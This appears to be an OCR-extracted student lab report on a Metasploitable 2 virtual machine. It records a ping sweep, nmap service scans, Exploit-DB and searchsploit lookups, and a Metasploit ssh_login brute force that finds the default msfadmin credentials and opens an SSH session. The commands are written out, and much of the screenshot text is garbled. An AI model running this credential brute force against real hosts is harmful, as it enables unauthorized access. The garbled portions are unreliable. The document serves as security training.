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1. Vulnerability Name

OpenSSH 4.7p1 — Weak Authentication / Credential-Based Access

2. Affected Service
e Service: OpenSSH
e \Version: 4.7pl
e Port: 22/tcp

e Protocol: SSH

3. Vulnerability Description

OpenSSH version 4.7p1 is considered an outdated SSH service that may be vulnerable to
security weaknesses such as weak authentication configurations and poor credential
management. In vulnerable systems like Metasploitable 2, default or easily guessable
credentials can allow attackers to gain unauthorized remote access through SSH.

This vulnerability does not rely on exploiting memory corruption or buffer overflow, but rather
on misconfiguration and weak credentials, which can lead to full system compromise.

4. Impact
If successfully exploited, this vulnerability allows an attacker to:
¢ Gain unauthorized access to the target system
¢ Execute commands remotely
e Obtain a remote shell on the victim machine
e Perform privilege escalation attacks

¢ Compromise system confidentiality and integrity



5. Attack Vector
¢ Type: Remote
e Authentication Required: Yes (weak/default credentials)

e User Interaction: None

6. Exploitation Method

The attacker connects to the SSH service using valid credentials. In the lab environment, weak
default credentials (msfadmin : msfadmin) were used to successfully authenticate and execute
commands on the target system.

Metasploit modules such as SSH login scanners can be used to automate this process.

7. Tools Used
e Kali Linux
e Metasploit Framework

e SSH Client

8. Severity
Medium to High

The severity depends on the strength of credentials and system configuration. In cases where
default or weak passwords are used, the risk becomes high.



1-Identification IP

1- ifconfig Used to display the network interfaces and IP address of the Kali machine, which is
required to set LHOST for reverse connections in Metasploit.

Ip of Kali Machine =192.168.91.129

Home ["] Metasploitable2-Linux [ kali-linux-2025.2-vmware...

kali@kali: ~

File Actions Edit View Help

ethe: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500

inet 192.168.91.129 netmask 255.255.255.@ broadcast 1
92.168.91.255

inet6 fe80::7d07:afb0@:bd3d:ae@9 prefixlen 64 scopeid
0x20<1link>

ether 00:0c:29:67:fe:e2 txqueuelen 1000 (Ethernet)

RX packets 102 bytes 17299 (16.8 KiB)

RX errors @ dropped @ overruns @ frame @

TX packets 56 bytes 12498 (12.2 KiB)

TX errors @ dropped @ overruns @ carrier @ collision
s 0

lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
inet6 ::1 prefixlen 128 scopeid 0x10@<host>
loop txqueuelen 1000 (Local Loopback)
RX packets 8 bytes 480 (480.0 B)
RX errors @ dropped @ overruns @ frame @
TX packets 8 bytes 480 (480.0 B)
TX errors @ dropped @ overruns @ carrier @ collision

Ip of Metasploit Machine = 192.168.91.134

To access official Ubuntu documentation, please wvisit:

http: - help.ubuntu.con.

No mail.

nsfadmin@metasploitable:™5 ifconfig

ethO Link encap:Ethernet HUWaddr 00:0c:29:95:64:71
inet addr:192.168.91.134 Bcast:192.168.91.255 HMask:255.255.255.0
inetb addr: feB0::20c:29ff :fe95:6471-64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:51 errors:0 dropped:0 overruns:0 frame:@
TX packets:67 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txgqueuelen:1000
RX bytes:4990 (4.8 KB) TX bytes:692Z2 (6.7 KB)
Interrupt:17 Baze address:0xZ000

Link encap:Local Loopback

inet addr:127.0.0.1 HMask:255.0.0.0

inett addr: ::1-128 Scope:Host

UP LOOPBACK RUNNING HMTU:16436 HMetric:1

RX packet=:92 errors:0 dropped:9 overruns:0 frame:0
TX packets:92 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txgueuelen:d

RX bytes:19393 (18.9 KB) TX bytes:19393 (18.9 KB)

msfadmin@metasplnitable:”$



2-Ping Sweep technique for network scanning , which sends ICMP requests to multiple IP
addresses to know which are Online (Up) or Oftline

Command : fping -a -g 192.168.91.0/24
We find Three Hosts Up

1p=192.168.91.2 ip=192.168.91.129 ip=192.168.91.134

And Other is Unreacjable

/)y Home [ Metasploitable2-Linux [} kali-linux-2025.2-vmware...

BN X JaRs

= kali@kali: ~
File Actions Edit View Help

192.168.91.2

192.168.91.129

192.168.91.134

ICMP Unreachable : .91. ICMP Echo
ICMP Unreachable 2 .91. ICMP Echo
ICMP Unreachable : .91. ICMP Echo
ICMP Unreachable 2 .91. ICMP Echo
ICMP Unreachable 2 X = ICMP Echo
ICMP Unreachable 2 A 2 ICMP Echo
ICMP Unreachable S .91. ICMP Echo
ICMP Unreachable 2 .91. ICMP Echo
ICMP Unreachable : .91. ICMP Echo
ICMP Unreachable z A 2 ICMP Echo
ICMP Unreachable : .91. ICMP Echo
ICMP Unreachable : .91. ICMP Echo
ICMP Unreachable : 9853 ICMP Echo
ICMP Unreachable s .91. ICMP Echo
ICMP Unreachable : .91. ICMP Echo
ICMP Unreachable : A S ICMP Echo
ICMP Unreachable e A 2 ICMP Echo
ICMP Unreachable : .91. ICMP Echo
ICMP Unreachable 2 .91. ICMP Echo
ICMP Unreachable 2 .91. ICMP Echo
ICMP Unreachable z .91. ICMP Echo
ICMP Unreachable 5 .91. ICMP Echo
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Okay we Know The Server Measploit Is Online (Up) With 1P 192.168.91.134



2-Port Scanning  Using Tool (nmap)

3-Used to perform a TCP connect scan to identify open ports and running services on the
targetsystem (nmap -sS 192.168.2.129.134)

_Nmap Scan Report For Server 192.168.91.134 with each ports is Opening

S mE P11 2 3 4

File Actions Edit View Help

kali@kali: ~

Starting Nmap 7.95 ( https://nmap.org ) at 2026-02-01 12:58 EST
Nmap scan report for 192.168.91.2

Host is up (0.00020s latency).

Not shown: 999 closed tcp ports (conn-refused)

PORT STATE SERVICE

53/tcp open domain

MAC Address: 00:50:56:F7:D6:88 (VMware)

Nmap scan report for 192.168.91.134

Host is up (0.0022s latency).
Not shown: 977 closed tcp ports (conn-refused)
PORT STATE SERVICE
21/tcp open ftp

22/tcp open ssh

23/tcp open telnet
25/tcp open smtp

53/tcp open domain
80/tcp open http

111/tcp open rpcbind
139/tcp open netbios-ssn
445/tcp open microsoft-ds
512/tcp open exec

513/tcp open login
514/tcp open shell
1099/tcp open rmiregistry
1524/tcp open ingreslock
2049/tcp open nfs

2121/tcp open ccproxy-ftp
3306/tcp open mysql
5432/tcp open postgresql




4- sudo nmap -sS -sV -0 192.168.91.134
Used to detect running services, their versions, and identify the target operating system.

We find the Version Of Services Port That | will detect it (OpenSSH 4.7p1)

) Home [ Metasploitable2-Linux [} kali-linux-2025.2-vmware...

S EmP 9

: kali@kali: ~

File Actions Edit View Help

O ) 1Y
[sudo] password for kali:
Starting Nmap 7.95 ( https://nmap.org ) at 2026-02-01 13:01 EST
Nmap scan report for 192.168.91.134
Host is up (0.00083s latency).
Not shown: 977 closed tcp ports (reset)
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 2.3.4
22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntul (protocol 2.0)
23/tcp open telnet Linux telnetd
25/tcp open smtp Postfix smtpd
53/tcp open domain ISC BIND 9.4.2
80/tcp open http Apache httpd 2.2.8 ((Ubuntu) DAV/2)
111/tcp open rpcbind 2 (RPC #100000)
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
512/tcp open exec netkit-rsh rexecd
513/tcp open login?
514/tcp open tcpwrapped
1099/tcp open java-rmi GNU Classpath grmiregistry
1524/tcp open bindshell Metasploitable root shell
2049/tcp open nfs 2-4 (RPC #100003)
2121/tcp open ftp ProFTPD 1.3.1
3306/tcp open mysqgl MySQL 5.0.51a-3ubuntub
5432/tcp open postgresql PostgreSQL DB 8.3.0 - 8.3.7
5900/tcp open vnc VNC (protocol 3.3)
6000/tcp open X11 (access denied)
6667/tcp open irc UnrealIRCd
8009/tcp open ajpl3 Apache Jserv (Protocol v1.3)
8180/tcp open http Apache Tomcat/Coyote JSP engine 1.1

3-Identification Vulnerability

3- To detect attacks, we must first check for vulnerabilities
We have three methosd

1-SearchSploit

2-Expliotdatabase

3-Metasploite



1-Expliotdatabase(Exploit DB)

A public repository used to search for known exploits related to discovered services and
vulnerabilities.

SSh -User Code All Info

)y Home ([ Metasploitable2-Linux [V kali-linux-2025.2-vmware...
N EEP o] 3 4 | @[] O ¢ & @304

5  KaliLinux X SSH - User Code Executic X - volume 40%
re Labs CT2518 (Audio P!

&« C @ O 8 exploit-db.com

OffSec Kali Linux # KaliTools ¢ KaliDocs ¥ Kali Forums e Kali NetHunter Exploit-DB Google Hacking DB

o~ EXPLOIT
- %ATABASE

SSH - User Code Execution (Metasploit)

&
0 EDB- CVE: Author:  Type: Platfor Date:
ID 1999-0502 METASPLOI REMOTE m: 19
: ¥ :
= 4 MULTIPLE
Exploit: £ / {}

a EDB Verified: g Vulnerable App:
| L]

SSH - User Code Execut

exploit-db.com B

OffSec KaliLinux # KaliTools ¢ KaliDocs @& Kali Forums e\ Kali NetHunter Exploit-DB Google Hacking DB

Pz N



2-searchsploit:
A tool used to search the Exploit Database locally for known exploits related to detected
services and versions.

Yes there are many way to Exploit This Version

kali@kali: ~

linux/remote/409
| linux/remo 459

4-Open Metasploit
S el Pori|

Shell No. 1

File Actions Edit View Help

I /shs er-scripts
sudo] pass

[i] D

[i] The :

Metasploit ti

post
nops

ocs.metasploit.com/




Search OpenSSH 4.7p1

We will Find 7 Module (0 to 6) each Module Work in one position Help you
But id did not work with RHosts ip 192.168.91.134

That must be opened session before by Meterpreter Session

Yok
Shell No. 1
s Edit View Help

rch openssh

Modules

isclosure e k heck Description

normal No I | quests To Remote P
normal No Install BpeRSSH for Windo
normal No her DpenSSH PK
normal No Username Enumer
Use timin t
Windows Ungquoted Service Patl

module by name or index. For

_First must Exploit Remote By SSH

-Search SSH we find The Module 79 auxiliary/scanner/ssh/ssh_login

I Shell No. 1
zilla Firefo)
File Actions Edit View

msf6 > search ssh

tching Modules

Name i De: iption

Acronis C r re 2 rd remote cod

linux/http/aliem X 1 i SIM/USM Remote C
fscanner /g8l and_ ti normal : f Def: C nti.
normal

normal
normal
norm

Shell No.1
File Actions Edit View Help

normal
Windows 2
iindows

Module
QNAP QTS : St: File Inclusion
_ Quantum T
ntum_vmpro r 2014 7 t Quantum
rs/S8H/88A_version_ 5 I SSH 5
i SSH

BSH Authenticat
SSH Key E>
S5H

S55H

= normal
1999-01-01 manual




-Use Module 79 use auxiliary/scanner/ssh/ssh_login

[ Metasploitable 2-Linux

dmP o] 2 L A B oeT

Shell No. 1

+ Home [ kali-linux-2025.2-vmware...

File Actions Edit View Help

nsf6 > use 79

s 6 auxiliary( (ISR ) > show options
odule options (auxiliary/scanner/ssh/ssh_login):
Name i ir Description

ANONYMOUS_LOGIN L Attempt to 1 a blank username and password
BLANK_

none, user, user

info with the or command.

et rhosts 192.1

-Brute Force Attack
Create List of Username users.txt

Creat List of Password pass.txt

7 Home [[32 Metasploitable 2-Linux [ kali-linux-2025.2-vmware...

E P oHF] 1 2 34\*\@¢

kali@kali: ~
Actions Edit View Help
us t
nd "admin’ not found, did you mean:

mmand °radmin®
sudo apt

After

set RHOSTS 192.168.91.134
set USER_FILE users.txt

set PASS_FILE passwords.txt
set STOP_ON_SUCCESS true

run



A+ Home [ Metasploitable 2-Linux [ kali-linux-2025.2-vmware...

e[|

Shell No. 1
File Actions Edit View Help

Result Start Brureforce Success: 'msfadmin:msfadmin’

A+ Home [ Metasploitable 2-Linux [ kali-linux-2025.2-vmware..

Shell No.1
ns Edit View Help
auxiliary/scanner/ssh/

( RHOS

USER_

brut i
Bl ' ms fadmin:msfadm "uid= msfadmin) gid=10

dmin),112(admin), 113(sambash: 1000 (msfadmin) E loit 24 r' r o i686

ession 1 opened
of 1 hosts

-ssh -oHostKeyAlgorithms=+ssh-rsa msfadmin@192.168.91.134

Session is Opened

"agE
kali@ali: ~
Edit View Help

msfadmin@192.168.91.134

msfadming
Linux metasploitable -16-server #1 SMP Thu Apr 10

The programs included with the Ubuntu system are free software;
distribu terms fo r' ibed in the

Ubuntu comes with ABSOLUTELY NO WARRAN ent permitted by
applicable

ess official Ubuntu documentation, please visit:
help.ubuntu

trd.img 1lib lost+fou ut opt proc root tmp usr var vmlinuz



mailto:msfadmin@192.168.91.134




